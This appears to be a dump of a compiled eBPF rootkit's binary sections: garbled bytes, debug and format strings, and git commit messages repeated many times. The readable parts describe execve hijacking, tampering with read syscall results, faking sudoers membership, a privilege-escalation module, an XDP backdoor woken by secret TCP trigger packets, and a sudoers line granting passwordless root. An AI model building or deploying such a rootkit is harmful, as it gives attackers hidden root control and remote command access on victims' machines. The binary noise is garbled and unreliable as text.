FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
i#i$
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<<00><00><00>Q<><00><>'=<00>wy<><79><EFBFBD>g w <00><>-bo<00>s&s%s$s#s"s!s sssssssssssssssssss s s s
Added V1 command sending via secret trigger on backdoor
2022-05-05 12:59:02 -04:00
s sssssssss<00>'y<><79><EFBFBD>m!H<00><>'-aEy<><79><EFBFBD><00><><EFBFBD><EFBFBD>g w !-aB<00>)s&<00>;s%<00>ds!s <00>ns#s<00>bs<00>gs<00>ass<00>ms <00>sssss <00>us
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00>os <00>iss<00>vs<00>rs<00>ps<00> s$ssss s<00>es"ssssss<00>hsss<00>Ts <00><00>&<00><>~<00><00>-<00><00><00>5y<><79><EFBFBD><00><>y<><79><EFBFBD><00><00><>Error
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Bound check fail ABDE %i
Included new version of custom lib. Added checks for backdoor triggering
2022-05-04 04:40:25 -04:00
D: %ld, DE:%ldDetected 9000
GF, PS:%i, P:%i, DE:%i
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
GReceived valid TCP packet with payload %s of size %i
HOLD data_end: %i, payload: %i
Control back to main program with retcode %i after expanding %i bytes
Bound check A failed while expanding
Bound check B failed while expanding
Bound check D failed while expanding
Unlikely you are here, but OK
Bound check E failed while expanding
Bound check F failed while expanding
BPF finished with ret %i and payload %s of size %i
BPF finished with error on expansion
Previous length: %i, current length: %i
NEW data_end: %i, payload: %i
And on NEW CTX data_end: %i, payload: %i
Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there
2022-02-05 14:10:12 -05:00
Error writing to user memory
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
Error writing to user memory in additional symbol
Sudo overwritten
Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there
2022-02-05 14:10:12 -05:00
Overwritting at pid %u, %s
Filename is %s
and program name is %s
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Error writing to user memory
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
Starting execve hijacker
EXEC_COMM: %s
Error reading 1
Error reading 3
OLD ARGV0: %s
ARGV1: %s
ARGV2: %s
FILENAME: %s
&FILE: %llx, &ARGV0: %llx, &ARGV1: %llx
Equal pointersTest failed
Test completed
Error writing to user memory at filename by %s
NEW ARGV0: %s
ARGV1: %s
ARGV2: %s
Error writing to user memory at argv[0] by %s
Reversed the previous filename write
Error reading
Error reading 1
SUCCESS NEW FILENAME: %s
NEW ARGV0: %s
NEW ARGV1: %s
NEW ARGV2: %s
wError reading test 3
Equal from the start
Error writing to user memory at test by %s
Error reading test 1
Error reading test 2
Error reading test 3
Error case 2
Completed checks for V1 trigger
2022-05-04 08:54:21 -04:00
FAIL CHECK 1
FAIL CHECK 2
FAIL CHECK 3
Added V1 command sending via secret trigger on backdoor
2022-05-05 12:59:02 -04:00
Finished backdoor V1 check with success
Received request to start encrypted connection
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Failed to expand a tcp packet reserved bytes by %i
Bound check A failed while expanding
Bound check B failed while expanding
Bound check C failed while expanding
before: %i, checksum %u
after: %i, checksum %u
csum: %u for data_start %u, data_size %i
Invalid attempt to substitute the payload A
Invalid attempt to substitute the payload C
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
Dual BSD/GPLThat is now hiddenosboxes ALL=(ALL:ALL) NOPASSWD:ALL #<00><>,,}>  %*@6
Added forked routine to execve_hijack. Improved argv modification and made it work. Working now.
2022-04-13 08:57:33 -04:00
 >D@[8hl@o`s<00><00><00><00><00><01><00> <00> % * @<00> <00><00><00><00><00>Ho<00> <00>@@<00> % * @<00> <00><00><00>*M Q#@o$`e$<00>m&<00>t%!<00>"<00>"o <00><00><00><00>%<00> <00><00> '*m(<00><00>@<00>`l+<00>h<00><00>,<00>@<00>+ <00>)<00> -0<00><00><00>@<00>1<00><00>@ <00>/<00> 25<00> (<00><00>@<00>`
<00><00><00><00>
6 
! <00>4
 7:<00> (<00><00>@<00>`<00>;<00><00> =<00><00> =<
>
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
; <00>9<00>  ?BBIN W@a`q<00><00><00> <00>A<00> C<00> <00><00>F<04>F<04>F<00>G<00>G <00>G0<00>F@<00>FH<00>IP<00>J`<00>J<00><00>"<00>H<00>!<00>H<00><00><00>G<00>G<00>J <00>J@<00>H`<04>Hd<04>Hh<01>Hi<01>Hj<01>HkHlHm HnHoGp<00>I<00>G<00><<00>4L <00>4N <00>4P<5R<5T-5T<C5W<Y5Yo5Y<00>5T<<00>5]<00>5T<6<00>5`<00>5T<<00>5c<G 6e<&"6g96gP6gg6c~6g<00>6g<5<00>6n<00>6g<)<00>6q<00>6c<*7t<7v<3?7x<b7z<<00>7|<<00>7~<<00>7<0E><00>7v<8<0E>48Y<Z8<0E><00>8<0E><00>8Y< <00>8<0E><00>8<0E><9<0E>>9qd9Y< <00>9<0E><00>9~<0<00>9<0E><00>9Y":<0E>H:<0E></n:<0E><00>:g<00>:Y<00>:<0E>;<0E>,;~R;Yx;Y<<00>;<0E><00>;<0E><,<00>;<0E><<0E>#<<0E>E<<0E>g<<0E><00><<0E><00><<0E><00><<0E><00><q=<0E><4D=<0E>f=g<00>=g<00>=g<<00>=<0E><00>=<0E>>t<-1><0E>H><0E>b>Og>  m>MMSUVXZ$[3\B^D_[a]6b<00>d<00>f<00>Gh<00>&i!&jG&kml<00>&m<00>&o<00>5p &r3)s\u{*w<00>y<00>3{<00>}$<00>4<00>L<00>j<00><00><00><00><00><00><00><00><00><00> <00><00> <00><00><00><00>)<00><00>  <00>-<00>=0<00>m<00>| <00><00> <00><00>/<00><00>&<00><00><00><00><00><00>!<00>1<00>@<00>R<00>h<00>~,<00><00><00><00><00><00><00><00><00><00><00><00><00>$)<00>M0<00>}4<00><00>&<00><00>&<00><00>&<00>#<00><<00>T*<00>~-<00><00>-u>Q int__ARRAY_SIZE_TYPE__ring_buffertypemax_entriesrb_comm__u64long long unsigned intfs_open_databuffdpidprogram_namefilenameis_sudochar__u32unsigned intfs_priv_openkeyvaluefs_openexec_var_hijack_active_datahijack_stateargv0exec_var_priv_hijack_activeexec_var_hijack_activetrace_event_raw_sched_process_execent__data_loc_filenameold_pid__datatrace_entryflagspreempt_countunsigned shortunsigned charu3
8<00> @<00>D<00>3<0E>b<02><00><00> l<00>* p0<00>I<1E>8<00>l<19>@<00><00><16>H<00><00> <0B>X<00>I<1E>`<00><00>?<00><00>" <00><00>@ <00>m $<00> <00>0<00><00>,X<00><00><01>g<00><00><16><00> <00> 8DP<00><00>HX<00><00>H`<00><00> Hh<00><00>hx<00><00>
Added forked routine to execve_hijack. Improved argv modification and made it work. Working now.
2022-04-13 08:57:33 -04:00
p<00><00><00>
t<00><00>%
|X<00>_<0E>`<00>_<08>x<00><00><00>y <00><00>y <00><00>y0<00><00>y%<00><00>y <00>y  <00>y00<00>y%@<00>y X<00>y p<00>y0<00><00>y%<00><00>y <00><00>y <00><00>y0<00><00>y%<00><00>y <00><00>y <00>y0 <00>y%0<00>y H<00>y `<00>y0p<00>y%<00><00>y <00><00>y <00><00>y0<00><00>y%<00><00>y <00><00>y <00>y0<00>y% <00>y 8<00>y P<00>y0`<00>y%p<00>y <00><00>y <00><00>y0<00><00>y%<00><00>y <00><00>y <00><00>y0<00>y%<00>y (<00>y @<00>y0P<00>y%`<00>y x<00>y <00><00>y0<00><00>y%<00><00>y <00><00>y <00><00>y0<00><00>y%<00>y <00>y 0<00>y0@<00>y%P<00>y h<00>y <00><00>y0<00><00>y%<00><00>y <00><00>y <00><00>y0<00><00>y%<00><00>y <00>y  <00><00>TP<00><00>X<00><00>\<00><00><00><00>_`<00><00>_`<00><00><00><01><00><00> <0C> <00><00> <0C>(<00>5 <0A>h<00>o<0E><00><00><00><1C><00><00><00> <09><00><00><00><10><00><00><00><00><00><10><00><00><00><10><00><00>< <11><00><00><00> <09> <00><00> d)
8<00>F
<00><00><00><16>(<00><00>
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
Added forked routine to execve_hijack. Improved argv modification and made it work. Working now.
2022-04-13 08:57:33 -04:00
<EFBFBD>@<00>H<00><00>
<0F>x<00><00>
<08><00><00><00>
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
Added forked routine to execve_hijack. Improved argv modification and made it work. Working now.
2022-04-13 08:57:33 -04:00
<EFBFBD><00><00># L<><00><00><00>
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
Added forked routine to execve_hijack. Improved argv modification and made it work. Working now.
2022-04-13 08:57:33 -04:00
<EFBFBD><00><00># <05><00><00>y <19><00><00><00> <1A><00><00>y <20><00><00>y <19> <00><00> <05>8<00>y <19>P<00><00>
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<EFBFBD>X<00> <05>hP <00> ppP <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> pP <00> pP <00> pP <00> pP <00> p P <00> p(P <00> p0P <00> p8P <00> p@P <00> pHP <00> pPP <00> pXP <00> p`P <00> phP <00> ppP <00> pxP <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00><00><00><00><00> <00> ~<00> + <00><00> <00><16><00> <00>
d0<00> 8<00> <00>
hH<00> g tP<00> g th<00> g t<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> p<00><00> <00> <05><00><00> <00> <05><00> <00> <0B>x<00> *
<EFBFBD><00><00> T<12><00><00> T<1A><00><00> T<08><00><00> |<08><00> |<08><00> <00> <09>(<00> <00>=<3D>@<00> <00><08>P<00> <00><08>X<00> 1 <09>x<00> Z<05><00><00> <00><05><00><00> <00><05><00><00> Z<05><00> <00><05> <00> `<00> <00>+h<00> <00>p<00> <00>x<00> <00> <00><00> <00><18><00><00> <08><00><00> <08><00><00> 2 <0B><00><00> K
<EFBFBD><00><00> g<1A><00><00> g&<26><00> <00> <00><08> <00> <00><08>(<00> <00> <09>X<00> <08>h<00> O<08>p<00> O<08>x<00> j <09><00><00> <08><00><00> <00>*<2A><00><00> <00><08><00><00> <00><08><00><00> <00> <09>(<00> <08>8<00> >+<2B>P<00> ><08>`<00> ><08>h<00> r <09><00><00> <08><00><00> <00>/<00><00> <00><00><00> <00><00><00> <00> <00> <08><00>
 <09>8<00> 2*<2A>H<00>
 <09>P<00> 2<08>h<00> 2<08><00><00> <00><00> <00> <00><00> <00> <00><00> <00>)<00><00> <00><00><00> <00> <09><00><00> J <09> <00> z <09>8 <00> <00> <09><00> <00> <00><00> <00> <00>$,<00> <00> <00>J,<00> <00> <00>$,<00> <00> <00>,<00> <00> <00>,<00> <00> > 0
<00> <00>+<
<00> <00> <
<00> <00> @H
<00> $P<00>
<00> ZT<00>
<00> <00>@X<00>
<00> $P <00> <00>X <00> <00>X <00> <00> \8 <00> <dP <00> d` <00> dh <00> <00> h<00> <00> N|<00> <00> <00><05><00> <00> <00><05> <00> <00><05>H <00> P <00> h <00> p <00> <00> <00> <00> H(<00> <00> H(<00> <00> _ 0<00> <00> <00>+4<00> <00> _ 0<00> <00> <00> 4 <00> <00>'H0 <00> <00>HH <00> <08>P <00>  <09>h <00> p <00> <00><00><00><00><00><00><00><00>)<29><00>(%<25>R<00>0(<00><00>0<00><00> PR&L`<00>T ,h<00><00> 0x<00><00><00><00><01><00>R <10><00><00>% @<00>RQh<00><00><00> X<00><00><00> \<00>"b 4<00><00><00> l<00><00><00> p(<00><00> tP<00>h<00>3<05><00><00>Z<14><00><00>Z3<><00><00>Z8<><00><00>Z+<2B><00><00>ZD<><00><00>ZH<><00><00>Z=<3D><00><00><00><1B><00><00><00><08>R <18>(<00>C <0A>0<00><00> <0A>HR <18>X<00><00> <09>h<00><00> <09><00><00>! <09><00>S!<00>!|<00>S!<00>!<05><00>S!!"#<23><00>S!S" <0C><00>S!S!<00>!|(S!!"#<23>8S!S" <0C>@S!v" <0A>XS!<00>"<05>`S!<00>"<05>hS!A##<23><00>S!s# <0C><00>S!<00>S!<00>"<05><00>S!A##<23><00>S!s# <0C><00>S!<00># <0A>S!S!<00>##<23> S!$<05>PS!<00>#2<>XS!R$<00>S!h$(<00>S!<00>$ 8<00><00>$.%1<><00>$<00>%<08><00>$<00>%<17>(<00>$<00>%<10>0<00>$<00>%<11>8<00>$<00>%<02>`S!& x<00>7&<05><00>P <00> p<00>P <00> p<00><00><00>& <09><00>P <00> p<00>P <00> p<00>P <00> p<00>P <00> pP <00> pP <00> pP <00> pP <00> p P <00> p(P <00> p0P <00> p8P <00> p@P <00> pHP <00> pPP <00> pXP <00> p`<00><00>&<00><00>&+'<05><00>&h'<05>x<00>&<00>'<05><00><00>&<00>' <09><00><00>&<00>' <09><00><00>&'( <09>H<00>&(!<21>P<00>&<00>(<1E>`<00>&<00>((<28>p<00>& )<1E><00><00>&A)<08><00><00>&{) <09><00><00>&<00>) <00><00>&<00>) <00>RQh<00><00>&+* <00><00>&_* <00><00>& <00><00>*H <00>+P <00>%+)$X <00>S+-(p R<00>0x <00><00>+ 0<00> <00><00>+ 4<00> <00>, (<00> <00><00> <00>C,0<00> <00>f,4
<00><00>,8H
<00>-<x
R&L<00>
<00>]- H<00>
<00><00>- L<00>
RQh<00>
<00><00>- t<00>
<00>. x<00>
<00>I.<18><00>
<00>I.7<><00>
<00>I.<<3C> <00>I./<2F> <00>I.H<> <00>I.L<>( <00>I.A<>X <00><00>.<1C>` <00><00>. <0A><00> <00>&/@ <00>&K/D` <00>&<00>/H<00> <00>&<00>/X<00> <00>&!0\ <00>&!0\ <00>&k0d( <00>0<00>0<05>` <00>01 <00> <00>0\1<12><00> <00>0\1 <0A><00> <00>0\1<12><00> <00>0\1 <0A><00> <00>0\1<12><00>0\1 <0A> <00>0\1<12>0<00>0\1 <0A>8<00>&u1lH<00>&u1lP<00>&<00>1p<00><00><00><00><00>1><3E><00><00><00>1 <0C><00><00>%2 <0A><00>R <18><00><00>C <0A><00>g2 @<00>&<00>2$<24>h<00>&39<><00><00>&3*<2A><00><00>&3<08><00><00>&q3<19>p<00><00>3 <0A><00><00><00><00>&<00>3 <09><00><00>&4 <09><00><00>&<00><00>d4 <00>B<00>B$<00>E<00>K<00><00>K<00>(B<00>0B$<00>EV<00>K<00><00>E$HB$`B<00>P B$` B<00>H
B<00><00>
EV<00>
K<00> E$<00> E<00>/<00> EV<00> EV EV E<00>/HE<00>/PEVXE<00>/<00>
0rP>Xx <00>` <00>y  / <00><00>7<00><00>`<00><00><00><00><00><00><00>
<00><00> <00>k<00>0<00>X <00>q h<00><00>}8<00> <00>9 @ J <00> <00> <00>H JP <00>h h p I :
x<00>h ~<00> i@
 8 *
<00> <00><00>;<00>)(<00>x<00><00>p <00>a
Pi `uH<00>
P<00> <00>Q <00>B
@B X<00><00><00><00>B` <00>1 `2
x <00><00><00>dx<00>HP<00>3<00>"<00><00> <00><00>
 r<00> @<00> "x
<00>
<00><00> <00>
<00> <00> j<00> <00><00> <00> <00><00><00> <00><00>
<00><00>p<00><00><00><00><00><00><00> <00><00> <00><00>
<00><00>}4<00> <00>&y<00>&E<00>&#<00><:j <00><00><00><00><00><00><00><00> q<00> : <00># <00>) <00>  <00>-n=0Xm<00>| C<00>  <00>/<00> <00>&<00>
<00>
<00><00>z!H1*@<00><00> <00>3<00><00><00>R$<00>4p LT*<00><00><00><00><00> $)<00> M0|~-<00><00>-]Rh<00> ~,<00> <00><00>
<00><00> <00><00><00><00>&<00> <00> <00><00> <00>h <00>Gi
<00>&<00> !&7G&<00>m<00><00>&<00><00>& <00> <00>5Y  &A 3)J
\R {*<00>
<00> $N3 B<00>D<00>[<00>]6<00>
} 0 R  L<00> Z <00><00> h<00>@ <00><00>`<00>0<00> <00> <00>`<00><00><00>(<00><00><00><00><00> <00><00><00>P<00><00><00><00><00><00>X<00><00><00><00><00><00><00><00>@<00>x<00>(<00>x<00><00><00><00><00>h<00><00><00><00><00><00><00><00> <00>@ <00><00> <00>
<00> <00>h <00><00> <00><00> <00><00> <00> <00>p <00><00> <00>P <00>0<00>h<00><00><00><00>8<00>h<00>0<00>h<00><00><00>@<00><00><00><00><00><00><00><00><00>`<00>x<00><00><00>`<00><00><00><00><00><00><00><00><00> <00><00> <00><00> <00><00> <00>
<00>P
<00><00>
<00><00>
<00>` <00><00> <00>( <00>`<00><00><00>p<00><00><00><00><00><00><00>L<00>d<00>p<00>|<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00> 
<00>
<00>$
<00>0
<00><
<00>H
<00>T
<00>`
<00>l
<00>x
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00> 
<00>,
<00>8
<00>D
<00>P
<00>\
<00>h
<00>t
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00>
<00>(
<00>4
<00>@
<00>L
<00>X
<00>d
<00>p
<00>|
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00> 
<00>
<00>$
<00><<00>,<00><<00>L<00>\<00>l<00>|<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00> <00>( <00>8 <00>H <00>X <00>h <00>x <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00>
<00>
<00>(
<00>8
<00>H
<00>X
<00>h
<00>x
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00> <00> <00>( <00>8 <00>H <00>X <00>h <00>x <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00> <00> <00> <00>0 <00>@ <00>P <00>` <00>p <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00> <00> <00> <00>0 <00>@ <00>P <00>` <00>p <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>
Fixed keys of trigger packet V1, added sample servers, fixed client bug
2022-05-05 17:52:58 -04:00
Is the server running, and on the correct port (%d)?
GET / HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: %s:%d
Sending:
[%s]
Connected with %s encryption
Server certificates:Subject: %s
Issuer: %s
Info: No client certificates configured.Received (%d bytes):
[%s]
Updated file names and directory structure to the new multi-modules rootkit
2022-01-16 06:56:54 -05:00
Usage: %s ./kit OPTION
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Program OPTIONs-t[NETWORK INTERFACE]Activate XDP filter %-40s %-50s
Fixed keys of trigger packet V1, added sample servers, fixed client bug
2022-05-05 17:52:58 -04:00
-vVerbose mode-hPrint this helpFailed to increase RLIMIT_MEMLOCK limit!
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
%H:%M:%S%s INFO pid:%d code:%i, msg:%s
Completed message passing of commands to userspace via ebpf ringbuffer
2022-05-05 13:22:47 -04:00
%s COMMAND pid:%d code:%i
Completed message sharing, starting with protocol now
2022-05-05 22:14:28 -04:00
Starting encrypted connection127.0.1.1Command received unknown: %d
%s COMMAND pid:%d code:%i, msg:%s
Completed message passing of commands to userspace via ebpf ringbuffer
2022-05-05 13:22:47 -04:00
Activating filter on network interface: %s
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Error on input interfaceUnknown option: %c
Missing arguments for %c
:t:vhFailed to open and load BPF skeleton
Failed to load and verify BPF skeleton
Failed to create ring buffer
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
Filter set and ready<00> <00><05>9}}}<00><00>(<1C>int<08>*}<06><19><06><1B><06>9<06><1A> 
Fixed keys of trigger packet V1, added sample servers, fixed client bug
2022-05-05 17:52:58 -04:00
 <00>1<08> 3<07> 6 <09> 7 <09> 8 <09> 9 <09> : <09>( ; <09>0 < <09>8 = <09>@ @ <09>H A <09>P B <09>X D<16>` F<14>h H<07>p I<07>t J <0B>x M<12><00> N<0F><00> O<08><00> Q<0F><00> Y <0A><00> [<17><00> \<19><00> ]<14><00> ^ <09><00> _
-<00> `<07><00> b<08><00> + <08> <00>9 <08> <08> <08><00>9 <08><11> <09><0E> 

$<0E>
; <0C> # <0A> 0 +<08> /key 3<07>arg 7 :<07>doc @ I<07>(
8 q<13> <08>,<00><15><15><15> <08><11>` <08> <16> <07> 
<EFBFBD> <07>  } $ }  )<07>$ , <09>( /
<EFBFBD>0 2 <09>8 6 <09>@ 9 <09>H : <09>P < <09>X 8 <0B>  <0B> <0B><11> <0B>doc <0B> <0B>_ <0B> ~( <0B>0
<EFBFBD> <08> <0B>Z <0B><16> <0B><07>  <07>
 Z<14>~<15><15> e   <08> <08> <12>tm8 > <07>
<07> <07> <07> <07> <07> <07> <07> <07>  <0C>( 0\9/l9}<06> 
   <0E><12> <0E>% <0E> <0C> <0E> <0C><14><14>}Y9}2<06> @ 8EszG - N P W \ _= c( j0
<EFBFBD>  " -<11>k<11>map<11>k<11> <09> '<11><08><11><11><17><11><14>  <08> <08>Hi sz -i  -objp  <06>(
<06>, v 0 <06>8<06><| @ o   2 q}<06> 
<1C> <14>
<14><05> <14>


9 ( ^
' ' ' 'bss' 0<02>
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
     (0 <14> <14> <14>  <14> !<14> "<14>( $ ) %<10> <00>' m (m )} *<08> +<08> ,<08> -<08>$ .<08>3 /<08>B 0<08>D 1<08>[ 2<08>] 3<08><00> 4<08><00> 5<08><00> 6<08><00>!7<08>!!8<08>G!9<08>m!:<08><00>!;<08><00>!< <00>!=<08> !>3!?<08>\!@-{!A=<00>!BM<00>!C]<00>!Dm!EI$!F}4!G=L!H<08>j!I<08><00>!J<08><00>!K<08><00>!L<08><00>!M<08><00>!N<08><00>!O
<00>!P<00>!Q<08>!R<08> !SI-!TL=!U<08>m!V<08>|!W<08><00>!X<08><00>!Y<08><00>!Z<08><00>![<08><00>!\<08>!]I!!^<08>1!_<08>@!`<08>O!a<08>R!b<08>h!c<08>~!d<08><00>!e<08><00>!f<08><00>!g
<00>!h
<00>!i
!j
!k$!lLM!m }!n<08><00>!o<08><00>!p<08><00>!q#!r}<!s-T!t-~!u-<00>}9<00>9<00>9<00>9<00>9<00>9<00>95<00>9<00>9F 9%94-9(=9)M9]92m9}9<00>9<00>9<00>9<00>9
<00>9 <00>9.<00>9<00>9 9+93-9=9, <00>
<08>  <1E>obj  
Fixed keys of trigger packet V1, added sample servers, fixed client bug
2022-05-05 17:52:58 -04:00
 ^
8 #<04>
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
hbss&<05><00> v<05><00> <08>  ) "}<0E> <03> 6pid<06> 
;! <09>!<12>
<EFBFBD>L#9<00>  tall   <0C>all   <0C>all    ! all" #
H L t <06> $<06>& , | -= .= 1 <0C> 2<0F> 5 <0C> 6<0F> 9 <0C> :<0F> (* + /T 3| 7<06> ;<06> ==<03>@HA"1 m !F{% <17><08> <17><05> <17>m <17>R <17><13><0F><00>9 b d <09> e
Completed message sharing, starting with protocol now
2022-05-05 22:14:28 -04:00
<EFBFBD> f<07> g<07> h
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<EFBFBD>y&$SSL<19>7<19>H <1A>d
S +}M<0E>env<0F> %env <03> &I  '<03><05><00><01><>(<03><0E><02>L(<03><1A><02>@%rb<03><19><02>`&<03><02>h%err<03> =<02>T&<03>=<02>X%opt<03><06><02>\)<03> <08>*X <0C><00><01>++ctxX"<22><03><>(X-<2D><03><>(X:-<03><>%eY+<03><>%tm\ 1<03><>%ts]\<02>@%t^ <09><03><> 6 <08>,K <01>e+sigK<1D><02>l-= <00><01><>&><10><02>P*3 <0C>N<01><>(34`<02>l(3G<02>`(3W<33><02>X."<00><01>/+arg"$<02>X&& <0B><02>`&' <0B><02>h'R<05>o<01>:(R<16><03><>_(R)%<03><>_%ctxS :<03><>_&T<07><03><>_%sslUi<03><>_%bufV@ &W<07><03><>_&YS<03><>_&Zy<03><>_&[Y<03><>_/<00>&<02> M<03><>_&<02> <0B><03><>_&<02>
_<03><>_ <S09<00><> <08> _p#9<00>*<01><01><00><01><>+obj<01>*<02>X%s<01><1E><02>h1err<01>
*<01><01><01><>+obj<01><02>h2<01><01>*<01>t<01>a(<01>7a<02>X%obj<01><02>h3err<01> 4zC<01>+objz"<02>h% : ; 9 I$ >  : ;  : ; I8  $ > 5I  I
Fixed keys of trigger packet V1, added sample servers, fixed client bug
2022-05-05 17:52:58 -04:00
